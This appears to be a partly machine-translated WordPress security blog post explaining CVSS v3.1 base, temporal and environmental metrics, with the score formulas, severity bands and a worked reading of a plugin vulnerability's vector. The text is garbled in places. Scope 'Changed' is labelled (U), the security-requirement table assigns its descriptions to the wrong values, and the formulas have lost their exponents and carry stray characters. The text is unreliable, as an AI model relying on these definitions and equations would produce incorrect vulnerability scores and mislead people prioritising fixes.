The exploitability score is based on how difficult it is for an attacker to take advantage of the vulnerability. The score is calculated using 5 different variables.

1.1.1. Attack Vector (AV)

The attack vector score is based on the method in which the vulnerability is exploited. The score will be higher the more remote an attacker can be to exploit the vulnerability.

The idea is that the number of potential attackers will be much greater if the vulnerability can be exploited via a network as compared to a vulnerability that requires physical access to a device exploit.

The more potential attackers there are, the higher the risk of exploitation is, and therefore, the Attack Vector score given to the vulnerability will be higher.

Access RequiredDescrição
Network (N)A vulnerability exploitable with Network access means the vulnerable component is remotely exploitable.
Adjacent Network (AV:A)A vulnerability exploitable with Adjacent Network access means the vulnerable component is bound to the network stack. However, the attack is limited to the same shared physical or logical network.
Local (AV:L)A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack. In some cases, the attacker may be logged in locally to exploit the vulnerability or may rely on User Interaction to execute a malicious file.
Physical (AV:P)A vulnerability exploitable with Physical access requires the attacker to physically touch or manipulate the vulnerable component, such as attaching a peripheral device to a system.

1.1.2. Attack Complexity (AC)

The complexity value is based on the conditions required to exploit the vulnerability. Some conditions may require collecting more information about the target, the presence of certain system configuration settings, or computational exceptions.

The attack complexity score will be higher the lower the complexity required to exploit the vulnerability.

Exploit Condition ComplexityDescriptions
Low (L)Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
High (H)A successful attack depends on conditions beyond the attacker’s control. A successful attack cannot be accomplished at will but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

1.1.3. Privileges Required (PR)

The privileges required score is calculated based on the privileges an attacker must obtain before exploiting a vulnerability. We will dive into this a little more in the Authenticated vs. Unauthenticated section.

The score will be highest if no privileges are required.

Privilege Level RequiredDescrição
None (N)The attacker is unauthorized before the attack and therefore does not require any access to settings or files to carry out an attack.
Low (L)The attacker is authorized with privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
High (H)The attacker is authorized with (i.e., requires) privileges that provide significant (e.g., administrative) control over the vulnerable component that could affect component-wide settings and files.

1.1.4. User Interaction (UI)

The user interaction score is determined based on whether or not a vulnerability requires user interaction to exploit.

The score will be highest when no user interaction is required for an attacker to exploit the vulnerability.

User Interaction RequirementDescrição
None (N)The vulnerable system can be exploited without interaction from any user.
Required (R)Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited, such as convincing a user to click a link in an email.

1.1.5. Escopo

The scope score is based on a vulnerability in one software component to impact resources beyond its security scope.

The security scope encompasses other components that provide functionality solely to that component, even if these other components have their own security authority.

The score is highest when a scope change occurs.

EscopoDescrição
Unchanged (U)An exploited vulnerability can only affect the resources managed by the same authority. In this case, the vulnerable component and the impacted component are the same.
Changed (U)An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case, the vulnerable component and the impacted component are different.

1.2. Impact Metrics

The Impact metrics capture the direct effects of a successfully exploited vulnerability.

1.2.1. Confidential Impact (C)

This confidential impact score measures the impact on the confidentiality of the information managed by exploited software.

The score is highest when the loss to the impacted software is highest.

Confidentiality ImpactDescrição
High (H)There is a total loss of confidentiality, resulting in all resources within the exploited software being disclosed to the attacker.
Low (L)There is some loss of confidentiality. The attacker gained access to some restricted information.
None (N)There is no loss of confidentiality within the exploited software.

1.2.2. Integrity (I)

This integrity score is based on the impact to integrity of a successfully exploited vulnerability.

The score is highest when the consequence of the impacted software is greatest.

Integrity ImpactDescrição
High (H)There is a total loss of integrity or a complete loss of protection.
Low (L)The data modification does not have a direct, serious impact on the impacted software.
None (N)There is no loss of integrity within the impacted software.

1.2.3. Availability (A)

The availability score is based on the impact of the availability of the exploited software.

The Score is highest when the consequence of the impacted component is greatest.

Availability ImpactDescrição
High (H)There is a total loss of availability, resulting in the attacker fully denying access to resources in the exploited software.
Low (L)There is reduced performance or interruptions in resource availability.
None (N)There is no impact on availability within the impacted software.

Base Score CVSS Score Calculation

The Base Score is a function of the Impact and Exploitability sub score equations. Where the Base score is defined as,

If (Impact sub score <= 0)     0 else,

Scope Unchanged4  Roundup(Minimum((Impact+Exploitability),10))

Scope Changed Roundup(Minimum(1.08×(Impact+Exploitability),10))

and the Impact subscore (ISC) is defined as,

Scope Unchanged 6.42 × ISCBase

Scope Changed 7.52 × (ISCBase - 0.029) - 3.25 × (ISCBase - 0.02)15

Where,

ISCBase = 1 - ((1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail))

And the Exploitability sub score is,

8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction

2. Temporal Score Metrics

The Temporal metrics measure the current state of exploit techniques, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Temporal metrics are expected to and will change over time.

2.1. Exploit Code Maturity (E)

The exploit code maturity is based on the likelihood of the vulnerability being attacked.

The easier a vulnerability can be exploited, the higher the vulnerability score.

Exploit Code Maturity ValueDescrição
Not Defined (X)Assigning this value to the metric will not influence the score. It is a signal to a scoring equation to skip this metric.
High (H)Functional autonomous code exists, or no exploit is required, and details are widely available.
Functional (F)Functional exploit code is available. The code works in most situations where the vulnerability exists.
Proof-of-Concept (P)Proof-of-concept exploit code is available, or an attack demonstration is not practical for most systems.
Unproven (U)No exploit code is available, or an exploit is entirely theoretical.

2.2. Remediation Level (RL)

The Remediation Level of a vulnerability is an important factor for prioritization. Workarounds or hotfixes may offer interim remediation until an official patch or upgrade is issued.

The less official and permanent a fix, the higher the vulnerability score.

Remediation Level ValueDescrição
Not Defined (X)A Remediation Value of Not Defined means there is insufficient information to choose one of the other remediation values. A value of Not Defined has no impact on the overall Temporal Score and has the same effect on scoring as Unavailable.
Unavailable (U)No solution is available.
Workaround (W)An unofficial, non-vendor solution is available. For example, a user or some other third-party created a patch or workaround to mitigate the vulnerability.
Temporary Fix (T)An official but temporary fix available. For example, the software developer has issued a temporary hotfix or provided a workaround to mitigate the vulnerability.
Official Fix (O)The software developer has issued an official patch for the vulnerability.

2.3. Report Confidence (RC)

The Report Confidence metric measures the level of confidence that a vulnerability exists and the credibility of the technical details.

The more a vulnerability is validated by the vendor or other reputable sources, the higher the score.

Report Confidence ValueDescrição
Not Defined (X)A Report Confidence Value of Not Defined means there is not enough information to assign one of the other confidence values. A value of Not Defined has no impact on the overall Report Confidence Score and has the same effect on scoring as Unavailable.
Confirmed (C)A detailed report exists with a poof of concept of how to exploit the vulnerability, or the software developer has confirmed the vulnerability’s presence.
Reasonable (R)A report exists with significant details, but researchers don’t have full confidence in the root cause or are not able to fully confirm every interaction that can lead to exploitation. However, the bug is reproducible and at least one proof of concept exists.
Unknown (U)There are reports of impacts that indicate a vulnerability is present, but the cause of the vulnerability is unknown.

Temporal CVSS Score Calculation

The Temporal score is defined as,

Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)

3. Environmental Score Metrics

The Environmental metrics allow analysts to customize the CVSS scored based on the importance of affected IT assets.

The Environmental Exploitability and Impact metrics are a modified equivalent of the Base metrics and are assigned values based on the organizational infrastructure’s component placement. See the above Base Metrics sections to view the values and descriptions of the Exploitability and Impact metrics.

The Environmental metrics contain an extra group, Impact Subscore Modifiers.

3.1. Impact Subscore Modifiers Metrics

The Impact Subscore Modifiers metrics assess the specific security requirements for Confidentiality (CR), Integrity (IR), and Availability (AR), allowing the environmental score to be fine-tuned according to the users’ environment.

Impact Subscore ValueDescrição
Not Defined (CR:X)Loss of (confidentiality/integrity/availability) is likely to have only a limited effect on the organization.
Low (CR:L)Loss of (confidentiality/integrity/availability) is likely to have a serious effect on the organization.
Medium (CR:M)Loss of (confidentiality/integrity/availability) is likely to have a catastrophic effect on the organization.
High (CR:H)This is a signal to ignore this score.

Environmental CVSS Score Calculation

The environmental score is defined as,

If (Modified Impact Sub score <= 0)     0 else,

If Modified Scope is Unchanged   Round up(Round up (Minimum ( (M.Impact + M.Exploitability) ,10)) × Exploit Code Maturity × Remediation Level × Report Confidence)
    
If Modified Scope is Changed    Round up(Round up (Minimum (1.08 × (M.Impact + M.Exploitability) ,10)) × Exploit Code Maturity × Remediation Level × Report Confidence)

And the modified Impact sub score is defined as,

If Modified Scope is Unchanged 6.42 × (ISCModified)
    
If Modified Scope is Changed 7.52 × (ISCModified - 0.029)-3.25× (ISCModified × 0.9731 - 0.02) 13

Where,

ISCModified = Minimum ((1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)), 0.915)

The Modified Exploitability sub score is,

8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction

4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

Overall CVSS Score & Severity

The Overall Common Vulnerability Scoring System or CVSS score is a representation of the Base, Temporal, and Environmental scores.

The Overall CVSS score can be used to give you an idea of how severe or serious a vulnerability is.

CVSS ScoreSeverity
0.0None
0.1 – 3.9Baixo
4.0 – 6.9Médio
7.0 – 8.9Alto
9.0 – 10.0Crítico

Real World CVSS Severity Rating Example

In our December 2020 Vulnerability Roundup we reported on a vulnerability in the Easy WP SMTP plugin. The zero-day (we will cover zero-day vulnerabilities in the next section) vulnerability allowed an attacker to take control of an Administrator account and was being exploited in the wild.

Taking a look at the National Vulnerability Database entry, we can find the WP SMTP vulnerability’s severity rating.

Let’s breakdown a couple of things from the WP SMTP NVDB screenshot above.

Base Score: The base score is 7.5, which tells us that the severity rating for the vulnerability is high.

Vector: The vector tells us the score is based on the CVSS 3.1 vulnerability equations and the metrics used to calculate the score.

Here is the metrics portion of the vector.

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Now let’s use the Base Metric values and descriptions from earlier in this post to understand the eight metric values of the vector.

  1. AV:N – This means that the Attack Vector (AV) of the vulnerability is the Network (N). In other words, an attacker only needs network access to exploit the vulnerability.
  2. AC:L – The Attack Complexity (AC) of the vulnerability is Low (L). In other words, any script kiddie can exploit the vulnerability.
  3. PR:N – The Privileges Required (PR) needed to exploit the vulnerability is None (N). So, the vulnerability doesn’t require an authenticated user to exploit. (We will cover the difference between Authenticated & Unauthenticated vulnerabilities later in this post.)
  4. UI:N – The User Interaction (UI) required to exploit this vulnerability is None (N). So, the attacker has the means to exploit the vulnerability by himself.
  5. S:U – This means that the Scope (S) of the vulnerability is Unchanged (U). In the case of this vulnerability,  the vulnerable component and the impacted component are the same.
  6. C:H – The Confidentiality Impact (C) of the vulnerability is High (H). When this vulnerability is exploited, it results in a total loss of confidentiality.
  7. I:N – The Integrity Impact (I) of this vulnerability is None (N). When the vulnerability is exploited, there is no loss of integrity or trustworthiness of the vulnerable information.
  8. A:N – This means that the Availability Impact (A) is None (N). When the vulnerability is exploited, there will be no impact on the availability of your website.

The CVSS score can help us determine the severity and scope of any given vulnerability. In the next couple of sections, we will cover some important vulnerability terms that are often included in vulnerability disclosures.

WordPress Vulnerabilities Explained Webinar

Check out our webinar covering the same topic.

Wrapping Up: WordPress Vulnerabilities Explained

While WordPress vulnerabilities are scary, the good news is that most WordPress vulnerabilities are discovered and patched before bad guys have a chance to exploit them.

You can help to protect your website against vulnerabilities by keeping WordPress core and your plugin and themes updated is the best way to ensure you are receiving the latest security patches.

Fonte